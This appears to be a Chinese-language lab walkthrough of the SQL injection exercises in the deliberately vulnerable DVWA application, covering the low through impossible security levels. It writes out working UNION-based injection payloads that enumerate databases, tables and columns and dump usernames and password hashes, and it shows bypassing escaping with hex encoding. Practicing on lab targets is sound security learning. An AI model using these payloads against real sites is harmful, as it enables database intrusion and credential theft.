low
输入1,查询成功,存在注入,直接反手一个 1\ 。爆出错误,推出查询语句为单引号闭合开始进行注入,直接查询字段数 1’ order by 3 # ,回显不正常,修改字段数 1’ order by 2 #,回显正常
找到了字段数以后,直接联合查询搞起 1’ union select 1,2 #,查询成功,获取数据库 1’ union select 1,database() #,查询成功数据库为dvwa
继续查询,获取表1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,嗯?报了个错?
查了半天,又是union用法,又是concat和group_concat的用法,结果最后是字符编码问题?还是问度娘,解决方法就是修改数据库与表的排序规则
再试一次,成功获取到表 guestbook,users,剩下的就简单了,继续构造语句获取用户信息,
例如:
获取users表的字段名 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ #
获取字段名对应值,例如user_id、user、password:1’ union select group_concat(user_id),group_concat(user,0x7e,password) from users #
medium
乍一看是个下拉菜单,防止了输入,那直接上burp抓包进行重放攻击,发现了可利用的点,万年 1\ or 1=1 #,不行?单引号呢? 1’ or 1=1 #,也不行观察一下返回结果,发现单引号和反斜杠都被进行了转义,好吧,想想能不能绕过,似乎有一个叫宽字节注入?这是找到的宽字节注入参考,https://blog.51cto.com/2042617/2340487,简单来说直接在注入点 1%df’ 或者 1%df\ 进行绕过,额,还是不行,%df也被进行了转义
好吧,弄了半天原来是个数字型注入,直接 1 or 1=1,查询成功
原来这么一堆过滤都是mysql_real_escape_string这个函数干的,知道了过滤机制和注入类型,剩下的就好办了,直接构造语句
字段数:1 order by 2 #
数据库:1 union select 1,database() #
表名:1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
表字段名:1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ #
嗯?前三个没有问题,到了查表的时候报错?看一下报错信息,应该是因为 ‘users’ 带有单引号,想办法绕过,查询网上的一些资料,mysql会将十六进制转换为字符串,那就简单了,直接将users替换成十六进制,查询成功
用户信息:1 union select group_concat(user_id),group_concat(user,0x7e,password) from users #
high
点击链接,弹出弹窗,发现有一个表单,那还是上burp进行重放攻击,老样子,先判断注入类型 1\ ,嗯?1’嗯?居然输出了返回内容,试试数字型 1 or 1=1 #,还是输出返回内容?想想似乎有个内联注释,因为这一块还不是很熟,试来试去也不行,最后发现,就是个简单的字符型加注释注入,没有查询信息的原因居然是查询结果不会在弹窗显示,只会在原网页显示,额,
impossible
抓个包,好吧,带了各自的对应参数,目前确实没办法,这就是相对的安全吧